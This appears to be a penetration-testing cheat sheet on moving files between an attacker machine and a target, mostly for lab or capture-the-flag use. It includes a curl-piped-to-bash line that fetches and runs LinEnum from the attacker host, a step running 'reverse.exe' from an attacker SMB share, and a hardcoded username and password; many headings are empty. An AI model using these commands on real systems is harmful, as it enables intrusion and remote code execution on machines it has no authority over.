Transfer Files

More

Curl

vim script.py
python -m SimpleHTTPServer 80                     ..share
curl http://10.x.x.x:80/script.py -o /opt/tmp.py  ..d/l overwrite
curl $MyIP:80/LinEnum.sh | bash                   ..d/l execute (linux)

curl --user david:Nowonly4me http://10.x.x.x/~david/
curl --user david:Nowonly4me --negotiate http://10.x.x.x/~david/

smbserver

  • Share from Linux SMB to Windows

locate smbserver.py                             ..find
cd /usr/share/doc/python3-impacket/examples     ..prep
sudo python3 ./smbserver.py share /tmp          ..share
impacket-smbserver share `pwd`                  ..another method
smbclient -L 10.x.x.x --no-pass                 ..test

net view \\10.x.x.x                             ..windows command
net use z: \\10.x.x.x\pub                       ..map a drive
copy "Oracle Issue.txt" z:                      ..copy file
dir \\10.x.x.x\share                            ..windows list directory
copy \\10.x.x.x\share\app C:\Windows\Temp\      ..windows copy
\\10.x.x.x\share\reverse.exe                    ..run

Windows Share

  • Linux: Copy to Windows Share

  • Linux: Mount Windows Share

  • Windows: Copy to Windows Share

HTTP Server One Liners

Powershell

Powershell Advanced

smb setup issues

smb setup impacket python2

smb optional

nc

updog

ftp

Permission Trouble

  • You may have a permissions problem

  • Save and execute from the Temp folder!

certutil

  • You can download files on Windows with this tool

  • REF: bountyHTB

Last updated

Was this helpful?